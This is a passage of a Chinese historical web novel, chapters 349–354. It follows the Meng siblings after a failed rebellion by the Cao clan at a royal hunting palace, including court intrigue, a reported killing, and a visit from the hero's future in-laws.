孟瑜以此脱身,连夜赶到距离行宫两百里外的京西大营,带兵前来行宫支援。
也就是说,就算厉青鸿没有杀曹修易,孟瑜也能及时赶到,拿下曹氏叛党,保陛下平安。
庆明帝接过孟瑜手中的虎符,发现了孟瑜手上的擦伤。
“阿瑜你受伤了?是昨日与猛虎搏斗时伤到的?身上有没有其他伤处?”
孟瑜收回手,不在意道:“一点小伤,不足挂齿。”
“那不行,快请太医来治伤!”庆明帝对着高公公吩咐。
高公公应声出去,派了门口候着的宫人去请太医。
“陛下,微臣的伤没事,现在要紧的,是厉家军的处置问题。”
孟瑜严肃地看着庆明帝。
“镇北王无召私自离开驻地,带着五千厉家军精锐前来行宫,闯入行宫大殿,与曹氏叛党勾连,意图谋反,当视同谋逆之罪!”
“不对!我家王爷是来救驾的!”
厉青鸿身边的副将陈安,立即大声反驳。
“叛党头目曹修易已被我家王爷诛杀,这些曹氏叛党也是我方拿下,你凭什么给我们安上谋逆的大罪?”
“陈安,退下。”
厉青鸿对陈安训斥。
“陛下面前,没有你说话的份儿。”
厉青鸿看向孟瑜,嘴角微弯,露出一个友善的笑。
“孟公子,本王之前所为,许是让你有所误解,但事实并不是你以为的那样。”
孟瑜根本不信,冲厉青鸿语气不善道:“那你所谓的事实,是哪样?”
厉青鸿瞄了眼庆明帝,见庆明帝并未阻止孟瑜对他的质问,正不动声色地等着他解释,心中冷笑,后退一步,对着庆明帝抱拳一礼。
“陛下,臣无召离开驻地,确有不当之处,但事急从权,臣不得不如此。”
厉青鸿直起身,不紧不慢地解释。
“两个月前,臣在北地,收到曹修易送来的信,他有意拉拢臣,并提出让二皇子迎娶臣的妹妹青雪为二皇子正妃,两家结姻亲之好。
臣深知他的用意,直接回信拒绝了他。
可半月后,臣再次收到曹修易的信,随信一起来的,除了两个京城的美人,还有青雪贴身使用的手帕。
信上没有再提要让青雪做二皇子妃,但依然没有放弃要臣帮助二皇子夺嫡。
曹修易在信中威胁臣,如果臣不同意,他们就要对我妹妹不利。
他们在青雪身边安插了人手,那送来的手帕,就是对臣的警告,如果臣有异动,或是将他们的计划通知陛下,他们就会伤害青雪……”
厉青鸿冷峻的脸上,浮现担忧与无奈。
“臣的父亲去世时,臣在他面前发过誓,会以性命护好青雪。
如今,青雪是臣在这世上唯一的亲人,臣不能让她有所闪失,否则,无法向臣早逝的祖父和父母交代。
为了青雪的安全,臣不得不先假意同意曹修易的要求,先取信于他。
待得知他的计划后,臣便将计就计,带着人马来到行宫,在关键时刻,给他致命一击,毁灭他的谋反计划,以保护陛下。”
“哼!你说得好听!”
孟瑜冷哼一声,对厉青鸿的说辞嗤之以鼻。
“你根本就是早有不臣之心,与曹家人是一丘之貉,会突然收手,不过是因为听到消息,知道我带着京西大营的一万兵力到达了行宫支援,所以才突然转变态度,杀了曹修易,来个死无对证!”
厉青鸿看向孟瑜的双眸,危险地眯起,“孟公子,你说话要讲证据,本王直到刚才你进来之前,都不知道有另外的一万兵力到达行宫。”
“你有谋反嫌疑,应该是你举证来证明自己的清白,凭什么找我要证据?”
孟瑜面无表情地对上厉青鸿,寸步不让。
“你刚才说的那些话,陛下和在场的大人们都听到了,你和曹家来往的书信,你妹妹身边的曹家纤细,你最好都能拿得出来。”
“那是自然。”厉青鸿不得不应道。
孟瑜怀疑地盯着厉青鸿,还想继续说,庆明帝的手突然按在了他的肩上。
“好了,阿瑜,你忙了一天一夜,也该累了,先不说这些。”
庆明帝慈爱地笑着,对不远处的孟蕊招了招手。
“瑞嘉,来,先陪你兄长回去治伤,朕让太医马上过去。”
孟蕊听出来,庆明帝不想让孟瑜再针对厉青鸿问下去,于是乖巧地走到孟瑜身边,轻轻拉了下孟瑜的胳膊。
“二……哥哥,我们先回去吧。”
孟蕊差点喊错,随着孟瑾作为皇子的身份被揭开,从今天开始,孟蕊没有大哥二哥,就只有孟瑜一位亲哥哥。
孟瑜看到孟蕊过来,没有再坚持。
他瞪了眼有意无意瞄向孟蕊的厉青鸿,向庆明帝行礼告退,带着孟蕊一起走出了大殿。
待走得离大殿距离远了,孟蕊见周围无人,对孟瑜说:
“哥哥,陛下对镇北王府,应是另有打算,你不要多想。”
孟蕊担心孟瑜犯轴,对阻止他深究厉青鸿的庆明帝有意见,忍不住出言提醒。
孟瑜低头看向孟蕊,不在乎地笑道:
“我没有多想,陛下的意思我也理解,刚才那样说,是为了让厉家臭小子知道,我们家不是好惹的。
他要是再敢对你动歪心思,也得好好考量一下,他有没有应对疾风暴雨的能耐。”
孟蕊恍然抬头,看向孟瑜坚毅的侧脸,心中泛起重重感动。
“哥哥,我……”
孟瑜的大掌落在孟蕊的发顶,轻轻揉了揉,嗓音沉稳而有力。
“蕊儿,有哥哥在,你不用怕他,光是要证明没有谋逆之心,就够他忙一阵了。”
孟瑜忽然压低了声音,带着几分狠劲道。
“他要是再不老实,我就找个机会做了他,以绝后患!”
第350章 身份有别
“哥哥?”
孟蕊惊异地看向孟瑜。
“他身为镇北王,家族在朝野民间都有名望,不可随意出手。”
以孟瑜的武功,要杀厉青鸿,并不是不可能,但那样产生的后果,令孟蕊感到担忧。
“别紧张,我只是说说而已。”
孟瑜又拍了拍孟蕊的头,无所谓地收回手。
“只要他老老实实的,别动歪心思,我不会对他做什么。”
之后,孟瑜和孟蕊一起,回到他们在行宫中的住处。
他们刚坐下,才喝了杯茶,太医就到了。
孟瑜昨日与猛虎一同坠崖时,后背和手臂在崖壁上有撞击和刮擦。
他一天一夜都在搬救兵的路上,没空管身上的伤,此时后背的伤处,已经淤青一片,手臂上的伤口,也已结了血痂。
太医为孟瑜处理了伤口,敷了药,又写了内服的方子,要去给孟瑜抓药。
“这点小伤,我用不着喝药,不用麻烦了。”
孟瑜直接拒绝,并把哆嗦的太医赶了出去。
站在房门外等候的孟蕊,看到太医出来,不放心地上前询问。
得知孟瑜不肯喝药后,孟蕊面含抱歉,塞给了太医一荷包赏银,轻声细语道:
“多谢刘太医前来为了兄长治伤,我兄长一天一夜没合眼,身上又有伤,火气有些大,你多担待,别和他计较。”
刘太医是庆明帝的御用太医,医术高明,庆明帝让他来给孟瑜治伤,以示重视,也是皇恩的体现。
而且刘太医来给孟瑜治了伤,必会回禀庆明帝,最好不要得罪了他。
刘太医收下荷包,对孟蕊拱了拱手。
“县主哪里话,陛下让老夫来给孟公子治伤,这都是老夫应该做的。
孟公子的伤虽然不重,但也需好生养着,外用的药已经敷上了,内服的药也要用上,才能达到最好的治疗效果,还请县主多劝劝他。”
“我知道,刘太医按规矩开方抓药便是,我会说服他的。”
孟蕊亲自将刘太医送出门,才转身回来,敲响了孟瑜的房门。
“哥哥,我能进去吗?”
“进来吧。”孟瑜的声音从门内传来。
孟蕊推开门,看到孟瑜已经从床上起来,穿戴整齐,坐在桌边喝茶。
“哥哥,刘太医说,你的伤要好生将养,你怎么从床上起来了?”
“嗯,刘太医说得不错。”
孟瑜放下茶盏,对孟蕊说。
“记得放出话去,就说我受了伤,要好好静养,不见任何人。”
孟蕊点点头,“好,我这就让人去办。”
孟蕊让身边的吟夏和吟秋,去交代守门的侍卫,和院子里的下人们,以孟瑜养伤要静养为由,不要放任何人进来。
一直以谢清源之子身份示人的孟瑾,突然成为了皇子,肯定有很多人,想要探听消息。
孟瑜和孟蕊就成了他们的最想要的目标,毕竟孟瑜和孟蕊,曾和孟瑾曾生活在一个屋檐下,身份还是孟瑾的弟弟妹妹,知道的事不少。
而孟瑜和孟蕊,当然不想和那些人透露消息。
但那些人中,有官职高的大臣,有出身高的夫人小姐,总有身份比他们高的,不是他们想拒绝,就能拒绝得了的。
孟瑜以养伤为借口,拒绝见所有人,倒是个不错的主意。
看着吟夏和吟秋分别去和侍卫下人们交代,孟蕊转身回到屋中,把门关上。
“哥哥,虽说你的伤不重,但你还是要按医嘱用内服的药,伤情才能好得快,也不枉费了陛下专门请太医来为你治伤的心意。”
皇帝让太医给孟瑜治伤,孟瑜把太医赶出去,到底有些不知好歹的意味。
“我被陛下驳了面子,有些脾气,陛下能够理解。”
孟瑜对此,有自己的想法。
“刚才我赶刘太医出去,是故意为之,就是为了借此表明,我对陛下阻止我深究厉青鸿过错,感到不满。
蕊儿你刚才表现得很好,咱们兄妹二人,一个唱白脸,一个唱红脸,相信刘太医回去后,会按照我们所期望的回禀陛下。”
孟蕊懂了,“哥哥,你这是想让陛下对你有所愧疚,好不让那些人来打扰我们?”
孟瑜看向孟蕊,眼眸深沉,微微叹出一口气。
“蕊儿,你要明白,从今日开始,孟瑾就不再是我们的兄长,而是皇子。
待他正式归位,若无意外,便会是皇太子,等到今上百年之后,他更要坐上那个至高无上的位置。
今日之后,肯定会有很多人来套你我的话,与其浪费时间与他们虚与委蛇,不如干脆不见,来得清静。
陛下让你陪我回来治伤,除了不让我继续对厉青鸿追责,也是让我们离开,担心我们年轻说多错多,让有心人利用。”
“我知道的,这几天我能不出门就不出门。”
孟蕊已经有了打算,又不确定地问。
“等这段时间风头过了,大……孟瑾的皇子身份坐实,应当就好了吧?”
“不好说,太子之位不定,他们总有得争,咱们很难有安宁的日子。”
孟瑜想到这里,不由得皱起眉,眼中划过几许烦躁。
“蕊儿,你之后还要待在京城吗?只要继续待在京城,就免不了被卷进那些争斗之中。”
孟蕊没想到孟瑜会突然问这个问题,如实回答道:
“我不打算一直待在京城,世间大好河山,我还没怎么去看过呢,之后肯定是要去四处走走看看的。
可是这半年,我还不能说走就走,哥哥你要和华筠姐姐成亲,我得留在京城帮忙。
有些事你们男子不方便插手,娘亲又不常住京城,若是失了礼数,华筠姐姐不在意,但不能不考虑永宁侯和侯夫人的想法,万一耽误哥哥你成亲就不好了。”
听孟蕊提到自己的婚事,孟瑜原本冷峻沉着的脸色,泛起一丝柔软的喜色。
“你说得也对,就算要离开,也要等我与华筠成婚之后。
阿娘性子刚毅急躁,对京中的规矩礼节不厌其烦,父亲手上事太多,时常顾不上,我也不太懂这些。
永宁侯府重视规矩,我与华筠的婚事,要麻烦妹妹你多帮忙费心。”
孟蕊笑盈盈地应承:“那是当然。”
“蕊儿,有件事,我必须要提醒你。”
孟瑜看着孟蕊,泛着柔意的眼中,闪过担忧。
“孟瑾的皇子身份恢复后,就算他待你我再亲近,你也要谨记身份有别,与他保持距离,再不可像以前那样亲近了。”
第351章 之前回忆
“哥哥放心,我会注意的。”孟蕊认真应道。
孟瑜说的道理,孟蕊都明白,她打从意外偷听到孟瑾的真实身份起,就已经开始与孟瑾保持距离了。
在这次来春猎之前,谢清源单独与孟蕊谈话,详细告诉了她当年之事。
十六年前,谢清源正是接到庆明帝的求助,才离开家,前去京郊皇陵营救孟瑾。
待他救下孟瑾回城时,乱军已经攻入京城,回到家时,找不见妻儿,看到的是满屋凌乱,以及地上横七竖八的乱军尸体。
他一个一个地扒开,确定都不是妻子和儿子后,心中涌起更大的恐慌。
之后,谢清源找遍了京城,都没有找到妻儿,他问遍了所有亲友,甚至跑去了千里之外的孟家堡,都没有得到关于妻儿的一丝消息。
他不知道的是,孟天在破庙生下孟蕊后,抱走了错换的姜瑶,带着三岁多的儿子孟瑜,去投奔了京郊隐居的画师好友郑栩。
郑栩在孟天的请求下,对前来打听妻儿消息的谢清源撒了谎。
郑栩不但告诉谢清源她没见过孟天,还把谢清源臭骂了一顿,将人轰了出去。
谢清源就这样,错过了最接近找到孟天的机会。
之后,庆明帝登基为帝,赐下现在的谢府给谢清源。
因为朝中曹家的势力依然根深蒂固,庆明帝深知曹家的狠厉手段,为了保护孟瑾,制造了孟瑾的死讯,将孟瑾放在谢清源身边,以谢清源儿子的身份养大。
十几年来,谢清源为了寻找妻儿,长期不在京城。
他买下了谢府背后的宅子,作为孟府,让孟瑾以更不引人注意的商户子身份,开始在天义书院求学。
直到谢清源通过孟瑜参军的讯息,顺藤摸瓜,才最终找到孟天。
又因为孟蕊与安乐侯府闹上京兆府,让孟瑾知道了孟蕊的身份,一家人才终得团圆。
谢清源还告诉孟蕊,他们收到消息,曹家可能在春猎期间有所动作,镇北王厉青鸿也突然带着五千精锐离开北地,说明此事非同小可。
“或许曹家这次,是要动真格的了。”
谢清源说到此时,面色担忧。
“这些年,陛下一直在想方设法,逐渐瓦解曹家的势力,在重要位置安插进我们自己的人,处处掣肘曹家,降低他们的影响力。
曹家对此早有不满,一直在暗暗抵抗,曹修易作为吏部尚书,四处拉帮结派,培植亲信,表面上君臣和睦,实则早已斗得水深火热。
曹家这些年犯下的罪行不少,但他们将痕迹摸得干净,很难将他们定罪。
比如去年吏部那件贪腐大案,受贿卖官那种杀头大事,没有曹修易的点头,他手底下一个小小的吏部考功司郎中敢这么干?
那个陆涛,不过是被推出来顶罪的人罢了,能指向曹家的证据,都被抹除,我们做再多,也无济于事。
而且曹家数代经营,在朝中拥趸甚多,声望大,一呼百应。
就算是陛下执意要严查曹家,那些曹家支持的大臣,站队二皇子的大臣,都会提出反对意见。
牵一发而动全身,很难将这群蛀虫一网打尽。”
谢清源咬牙切齿地说着,语气中又带着隐隐的兴奋
“要推翻曹家,首先要毁去他们在朝中的名望,要让曹家犯下的罪状严重到,无人再敢帮他们说话。
我们需要一个机会,一个将曹家彻底打翻在地,不得超生的机会,这次春猎就有这样一个机会。”
孟蕊立即明白了谢清源的话,“那是要请君入瓮,逼曹家在春猎中造反?”
“不是我们逼曹家,这次的机会,来自于三皇子及其背后的吴家。”
谢清源与孟蕊细细分析。
“我们派出的探子已经查到,吴家养的驭兽师,已于一月前偷偷进入金岚围场,在洞穴中训练猛虎。
三皇子他们是奔着皇位去的,他们的目标,定然是二皇子和曹家。
我们只需要不动声色地继续观察,顺势而为,将计就计。”
……
为了防止曹家和厉青鸿控制京城,谢清源以生意查账为由,留在京城,没有参加此次春猎。
谢清源在春猎前告诉孟蕊实情,是要问孟蕊的意愿,如果孟蕊不愿意,也可以称病,不参加春猎。
但孟蕊还是决定要来。
她已经深入局中,逃避是最没用的事。
谢清源已经不去春猎了,孟蕊再不去,会显得有些刻意,万一引起曹家和吴家的怀疑,就不妙了。
况且,她不是一个人,孟瑾和孟瑜都在她身边,还有侍卫和吟夏吟秋保护,孟蕊自己也会轻功和暗器,足以自保。
她也想要去亲眼去看看,厉青鸿如果涉嫌谋反,会有什么下场?
……
孟蕊从回忆中回过神来,想到如今春猎中一切的发展,都与陛下和父亲期望的一样。
三皇子一派为了陷害二皇子,在围场中驯养猛虎,就是为了给二皇子按上谋逆的罪名。
或许,那些刺杀孟瑾和孟蕊的刺客,也是三皇子和吴家派来的。
一方面,可以报复孟瑾和孟蕊,另一方面,更可将三皇子杀人灭口的罪行坐实。
然而,螳螂捕蝉,黄雀在后。
三皇子和吴家没有想到的是,他们的所作所为,早在庆明帝的掌控之下。
而曹修易和曹太后,这些年过得顺风顺水,太自以为是,以为用一个厉青雪,就能控制住厉青鸿为他们所用。
他们在行宫正殿上发动的那场小规模兵变,只造成了几名侍卫的伤亡。
但曹家谋朝篡位的行径,被在场的所有王公大臣亲眼目睹。
曹家谋逆的罪名,更是不容置疑!
厉青鸿当场诛杀曹修易,吓晕曹太后,二皇子更是个扶不上墙的。
面对可抄家灭族的谋逆大罪,那些支持曹家和二皇子,与他们交好的大臣们,此时都噤若寒蝉,生怕谋逆的罪名惹上身,根本没人再像以往那样帮曹家说话。
与曹家此次谋逆相关人等,正在被排查,但凡有嫌疑的,都被关了起来,以待审问。
外面原先站队二皇子的大臣们坐立不安,人人自危,忧虑会查到自己身上。
孟蕊和孟瑜则松懈下来,在屋子里悠闲地喝茶聊天。
天色渐暗时,门上响起了敲门声。
孟蕊以为是吟秋送晚膳来了,起身过去打开房门,却看到孟瑾站在门外,身后还跟着几名侍卫。
第352章 都是疯子
孟蕊下意识向孟瑾行礼。
“见过……”
话刚出口,孟蕊犹豫了。
按齿序排,孟瑾是大皇子,但按封号,他是元熙皇太子,应该称呼他哪一个呢?
还未等孟蕊想明白,她已经被孟瑾扶起。
“蕊儿不必多礼,还像往常那般即可。”
孟瑾双手托着孟蕊的胳膊,不让她行礼,面上划过无奈的神情。
孟蕊抬起头,怔怔望着近在咫尺的孟瑾,觉得他既陌生,又熟悉,一时不知该如何反应。
这时,孟瑜的声音,从背后传来。
“妹妹,是谁来了?”
孟蕊如梦初醒般后退一步,避开孟瑾的手,侧过身,让孟瑜看到门外的孟瑾。
孟瑜立即起身,几步走到孟蕊身边,就要对孟瑾抱拳行礼。
孟瑾更加无奈地叹气,直接按下孟瑜抱拳的手。
“一家人,不讲究这些虚礼,我们进屋说话。”
孟瑾让侍卫留在门口,自然地跨入房门,拉着孟瑜和孟蕊在桌边坐下。
他目含关切,看向孟瑜。
“父皇很关心你的伤势,他一时太忙,暂时脱不开身,让我来看看你。”
“多谢陛下关心,我没有大碍,只需静养几天便好。”孟瑜客气道。
孟瑾上下打量孟瑜,见他面色红润,精神也好,应是没有大碍。
“嗯,刘太医也说,你需要静养,这几日外面有些乱,我会让侍卫守好这里,不许人来打扰。”
孟瑾温和笑着,对门外的侍卫招了下手。
很快,大门外走进来几个送晚膳的宫人,恭敬地将饭菜摆上桌。
孟瑾指了指桌上丰盛的晚膳道:
“这是我让人盯着膳房做的,咱们一起用膳吧。”
说着,孟瑾端起了碗,开始吃饭。
孟瑜和孟蕊见他如此,也开始吃饭,像往常一样。
用过晚膳后,孟瑾又关心了孟瑜和孟蕊几句,便带着侍卫离开。
晚上就寝前,孟蕊问了吟夏和吟秋,才知道庆明帝正在行宫内外,肃清二皇子和曹家的党羽。
羽林军统领霍济,拿着庆明帝提供的名单,按照官职从高到低抓人。
有的大臣听到消息,想往外跑,但行宫之外,已被孟瑜从京西大营搬来的一万兵力重重封锁,一只苍蝇也飞不出去。
也有狗急跳墙之徒,劫持其他王公大臣,想要逼迫庆明帝放过自己。
但他们小看了庆明帝对曹氏党羽的憎恨和肃清的决心,行宫中已经发生了数场小规模交战,胆敢忤逆者,轻则受伤被抓,重则就地处决。
令孟蕊想不到的是,厉青鸿也在协助庆明帝抓捕曹氏党羽,而且还十分卖力。
“陛下相信他?”孟蕊问吟秋,“就不担心他暗中做什么手脚?”
吟夏和吟秋,都是孟瑾给孟蕊的人,也是庆明帝为孟瑾培养的暗卫。
她们能告诉孟蕊的事,都是经过孟瑾的授意,较为可信。
吟秋想了想道:“奴婢听说,镇北王为了证明自己是因为妹妹青城郡主,才被曹家要挟前来,首先便去青城郡主的住处,找出了藏在郡主身边的曹家奸细。”
吟夏突然凑过来插话,“小姐,您猜猜,那个潜伏在青城郡主身边的奸细是谁?”
“总不会是齐轩吧?”孟蕊随意回答。
“小姐你好聪明,一下就猜对了!”
吟夏笑着夸赞,然后给孟蕊绘声绘色描述当时的情况。
“镇北王带着霍统领一起,去了青城郡主的住处,让青城郡主身边的所有人,都跪在院子里回话。
他把青城郡主的手帕拿出来,一个一个地审问手帕是谁拿走的。
谁敢不说实话,他就刺谁一剑,那些侍卫丫鬟,还有郡主养的那几个男人,都吓得不行。
最后,是郡主身边一个叫霜儿的丫鬟说,那手帕被郡主随意赏给了齐公子,也就是曾经的晋国公世子齐轩。
齐公子被镇北王刺了两剑后,依然不承认是自己拿走了手帕。
青城郡主要阻止镇北王,镇北王就把自己被曹家威胁的事,全都告诉了青城郡主。
青城郡主得知,自己被齐公子利用来威胁镇北王,异常愤怒,她竟然直接抢过镇北王手中的剑,指着齐公子的脖子,问他究竟有没有喜欢过她?”
吟夏话语一顿,对着孟蕊卖起关子。
“小姐您再猜,齐公子说了喜欢,还是不喜欢?”
孟蕊抿了抿唇,“他说喜欢?”
齐轩一直都不喜欢厉青雪,但孟蕊觉得,为了活命,说句喜欢很值得。
“小姐你这次猜错了,齐公子说,他从未喜欢过青城郡主,还说和郡主待在一起的每一刻,他都感觉无比恶心!”
吟夏挤眉弄眼地说着,用手横在脖间上下一晃,模仿出抹脖子的动作。
“青城郡主气得大叫一声,用剑狠狠抹了齐公子的脖子!”
“你说什么?”孟蕊不由大惊,“齐轩被厉青雪杀了?他死了?”
“那可不!当场就毙命了!”
吟夏怕孟蕊不信,还强调道。
“这都是在现场目睹全程的羽林军侍卫告诉我的,绝对是真的!”
吟秋皱眉看向吟夏,“你什么时候认识的羽林军侍卫?他为什么和你说这些?”
吟秋得到的消息,与吟夏说的结果一致,但她不知道这么多细节。
“就是昨晚过来帮忙收拾刺客尸体的那个高个子侍卫,你也见过的。”
吟夏一五一十地说。
“我今日下午听小姐的吩咐,去门口嘱咐侍卫时,刚好遇到他从青城郡主那边过来,和他聊了几句,就知道这些了。”
吟夏性子活泼,是个自来熟,见谁都能聊几句。
吟秋则沉稳内敛,对吟夏这番作为不赞同道:
“现在外边好些人,都盯着咱们这儿,你要注意,别向外透露了不该说的。”
“放心吧,我有数。”吟夏正了神色,“我只从他嘴里套话,没和他说别的。”
此时的孟蕊,已经听不进去吟夏和吟秋的话。
齐轩死了!还是被厉青雪亲手杀死!
而前世的厉青雪,嫁给了齐轩,死在晋国公府,齐轩是害死她的凶手之一。
这一世,因为孟蕊的重生,厉青雪和齐轩的结局发生了逆转。
但厉青雪当着那么多人的面,直接杀了齐轩,还是令孟蕊感到震惊。
孟蕊不禁感慨,厉青雪果然和她哥厉青鸿一样,都是疯子!
第353章 纪家来访
之后的几天,对曹氏乱党的调查和抓捕,一直在持续,行宫内外气氛紧张。
庆明帝苦曹氏久已,势必要大范围肃清与曹氏联系紧密的势力。
这次跟随参加春猎的大臣,官职都不低,先把大鱼揪出来,回到京城后,再解决没有跟来的小鱼小虾,事半功倍。
孟蕊以照顾兄长孟瑜养伤的名义,连院子都没出,在庆明帝的照拂下,几乎无人敢来打扰他们。
不过,也有孟瑜和孟蕊拒绝不掉的客人。
孟瑜闭门养伤的第三天,永宁侯夫妇带着纪华筠前来探望。
纪华筠是孟瑜赐婚的未婚妻,永宁侯夫妇是孟瑜未来的岳父岳母,他们来探望孟瑜的伤情,是理所应当。
听到他们来拜访的消息时,孟瑜躺上床做样子,孟蕊则带着吟夏吟秋,去外面将永宁侯一家三口迎了进来。
“见过纪伯伯,纪伯母,华筠姐姐。”
孟蕊向着他们问好。
“我哥哥遵医嘱卧床养伤,这几日都没有下床,请多担待。”
既然孟瑜是用养伤的名义,躲过外面的麻烦,那他就要有养伤的样子,不能落人口实。
“不是说阿瑜伤得不重吗?”纪华筠紧张地问,“怎么几天了还要卧床养伤?”
孟蕊拿出早就想好的说辞,一脸忧色地说:
“哥哥他为救驾,与猛虎搏斗,一起落下山崖,虽然凭武功保住了性命,但背部狠狠撞在了崖壁上,手臂也被划破。
刘太医说,他的外伤还好,但在山崖上撞击导致的内伤不好说,有可能很严重,要坚持喝药调理,静养半个月,再看情况。”
即使是对永宁侯一家,孟蕊也不得不把孟瑜的伤情往严重了说。
隔墙有耳,即使永宁侯夫妇和纪华筠嘴严,但他们随身带来的仆从丫鬟,孟蕊保证不了他们不往外传话。
永宁侯听到刘太医的名头,基本信了孟蕊的话,“竟然这么严重,快带我们去看看他。”
孟蕊带着他们去了孟瑜的屋子。
看到卧床养病的孟瑜,纪华筠第一个冲了过去,担忧地看着孟瑜绑着绷带的手。
“阿瑜,你伤得这么重,怎么不告诉我?”
孟瑜冲纪华筠笑,“一点小伤而已,我没事。”
“什么小伤啊?蕊儿妹妹都告诉我们了,你不但有外伤,还有严重的内伤,你自己怎么都不当回事呢?”
纪华筠直接坐在孟瑜的床边,轻轻拉起孟瑜的手,心疼地问。
“还疼吗?以后可不许再这么傻,去和老虎搏斗,你真想得出来!”
孟瑜看着纪华筠,嘴角止不住地上扬,“当时为了救驾,没想那么多。”
“我不管!以后无论要救谁,你都不许拿自己的命去搏,听到没有?”
纪华筠凶巴巴地瞪着孟瑜,一副他不答应不罢休的架势。
“华筠,不得无礼。”
永宁侯和永宁侯夫人,在此时走了过来。
“阿瑜受伤是为了救驾,何等荣耀!你关心则已,可不许胡说!”
孟瑜不但在围场救了皇帝,还连夜去京西大营,为皇帝搬救兵。
这些,都足以说明,庆明帝对孟瑜信任有加。
孟瑜未来的前途,不可限量!
永宁侯对孟瑜这个未来女婿,越看越满意,不由得担心纪华筠这咋咋呼呼的性子,把人家吓跑了。
“我才没有胡说。”纪华筠斜眼睨了眼父亲,一点也不赞同。
永宁侯瞪着纪华筠,顾及着孟瑜兄妹在场,忍耐着要训斥女儿的话。
“纪伯伯,纪伯母,我……”
孟瑜及时开口,作势要起身行礼,手刚撑到床沿,就被永宁侯上前按下。
“你既然受了伤,就别逞强了,卧床好生休息。”永宁侯言语关怀亲切。
孟瑜也没有强求,坐回床上,“抱歉,失礼了。”
“我们以后就是一家人,用不着太讲究礼数。”永宁侯今日格外好说话。
连一向对规矩礼数重视非常的永宁侯夫人,也笑盈盈地看着孟瑜,关心地说:
“是啊,你有伤在身,要好好养伤,千万不能大意。
你纪伯伯年轻时打仗负伤,没养好又上战场,现在到老了,一身的毛病,你可不能学他。”
永宁侯不悦地看向永宁侯夫人,“我们来探望阿瑜,你说我做什么?”
“好,不说你。”
永宁侯夫人又慈爱地对着孟瑜说。
“阿瑜你这里治伤的药可够?这次出来春猎,我带了些活血化瘀的丸药,效果很好,待会儿我叫人给你送些来。”
孟瑜从善如流,“若是方便,那就麻烦纪伯母了。”
“方便,当然方便。”永宁侯夫人热情道,“你能用到就好。”
听到孟瑜应下他们的心意,永宁侯也很高兴,但嘴上却对永宁侯夫人说:
“我看你是班门弄斧,给阿瑜看伤的是陛下御用的刘太医,医术高超,旁人想让他看诊都难,他给阿瑜开的药,肯定比你拿的强多了。”
永宁侯夫人笑道:“刘太医的药好,我们的也不差,是不是,阿瑜?”
“您说的是,我觉得都好。”孟瑜微笑着回答。
在旁边看着这一幕的孟蕊,不由感叹,谁说她哥哥不懂人情世故?
这不把未来岳父岳母哄得挺开心的吗?
永宁侯见话说得差不多,开始进入正题,他状似随意地问:
“对了,听说太子殿下这几日时常过来,和你们一起用膳,他有没有和你们提过,那些被抓的曹氏乱党,之后要如何处置?”
孟瑜没有说话,抬起头,定定看向永宁侯,等待他把话说完。
永宁侯清了清嗓子,继续说道:
“曹氏叛乱,罪大恶极,曹家在朝中世代经营,涉及的关系人等不胜枚举。
这次在行宫内外抓捕的曹氏乱党相关人等,属实不少,我有些好奇,这抓捕的人选,是如何确定?
那些与曹家有些联系但不多的,也会被牵涉其中吗?”
永宁侯说完,期待地看向孟瑜。
不等孟瑜回答,纪华筠冷哼一声,直接拆她爹的台。
“爹,你说这么多有的没的,阿瑜听不懂你的那些弯弯绕绕。”
纪华筠无视永宁侯警告的眼神,故意挑衅道。
“您不如直接说,您从前和曹家也有所联系,陛下会不会也派人来抓你,不就行了?”
第354章 提心吊胆
纪华筠只要想到,永宁侯夫妇以前逼着她与二皇子联姻,还是会一肚子气。
现在好了,曹家反了,曹尚书死了,二皇子被关起来了,与皇位彻底无缘。
虽然抓曹氏乱党的风,还没吹到永宁侯这里。
但永宁侯从前与曹家多有来往,与近几日被抓的曹氏亲信,也都熟识,听说熟悉的大臣们被抓,永宁侯也免不了提心吊胆。
今日,永宁侯实在坐不住,带着妻女,前来拜访未来女婿孟瑜,想要从孟瑜这里得到些消息。
哪知他委婉的问话刚说完,纪华筠就大喇喇地说穿了他的心思,让他十分尴尬。
“华筠,你怎么这样对你父亲说话?”
永宁侯夫人对纪华筠指责道,然后看向孟瑜,轻言解释。
“那曹家从前在朝中树大根深,侯爷与他们因公事有来往,也在所难免,这几日的抓捕让人有些心惊,才多问了几句。”
永宁侯顺着永宁侯夫人的话,对着孟瑜道:
“正是如此,本侯看到昔日同僚被抓,颇为惊讶,其中不少人,与曹家是正常来往,算不上亲信,若是把他们也归为乱党,未免太过了。”
纪华筠冲着永宁侯翻了个白眼,“其他人不知道,但您老人家,曾经是想要把你女儿我,嫁给二皇子的,你应当算与曹家来往过密吧?陛下怎么不让人把您抓起来?”
“纪!华!筠!”
永宁侯再也压抑不住怒气,对纪华筠大喝出声。
“你就这么想你老子我被抓起来是吧?对你有什么好处?”
“您小点声,我听得见。”
纪华筠早已习惯了与永宁侯对抗,此时有孟瑜在身边,她更是想说什么,就说什么。
“您与曹家、二皇子的那些来往的事儿,又不是什么秘密,您们想让我嫁给二皇子,阿瑜和谢大人早就知道了。
他们知道,那陛下也知道,既然这几天都没来抓您,想来是没为这点事,把您归入曹氏乱党,您担心个什么劲儿啊?”
“你……”永宁侯瞪着纪华筠,觉得她说的,也有道理。
但纪华筠作为他的女儿,当着未来女婿孟瑜的面,说这些话,揭他的短,还是让永宁侯感到些许难堪。
在永宁侯要再次发作之前,孟瑜开口了。
“纪伯伯,华筠说的,也是晚辈想要对您说的。”
孟瑜望着永宁侯,郑重道。
“陛下与太子殿下,对曹氏乱党及相关人等,进行了长期的调查,手中掌握了严密的证据,能够证明这些人的罪行。
被抓的人,都不无辜,只有罪责大小的区别。
纪伯伯您与他们来往不深,他们犯下的过错,您或许并不知道,最好还是不要妄议陛下的决断。”
“这是当然,我没有质疑陛下,只是一时情急,说错了话。”
永宁侯立刻收敛怒气,对着孟瑜虚心请教。
“阿瑜,既然那些事你都知道,咱们明人不说暗话,你给我一个准信儿,陛下那边……会责罚我吗?”
永宁侯曾想与二皇子结下姻亲,便有结党之嫌,虽然最后没成,但他总归是与曹家多有来往,就怕陛下追究起来,永宁侯府得不了好。
孟瑜不答反问,“纪伯伯,您可有与曹家达成过合作,或是帮他们做过什么事?”
“那肯定没有!”
永宁侯立即否认。
“本候一向行事谨慎,亲事都没有结下,怎会与他们有牵扯?”
永宁侯追求的,是永宁侯府的最大利益。
在纪华筠当上二皇子正妃之前,他不会帮曹家和二皇子做事。
他可不想白忙活一场,为他人作嫁衣裳。
纪华筠在旁边阴阳怪气地帮腔,“我爹这点没说错,他是个不见兔子不撒鹰的主儿,曹家没给承诺,他绝不会帮忙。”
永宁侯再次以警告的眼神,瞪向纪华筠。
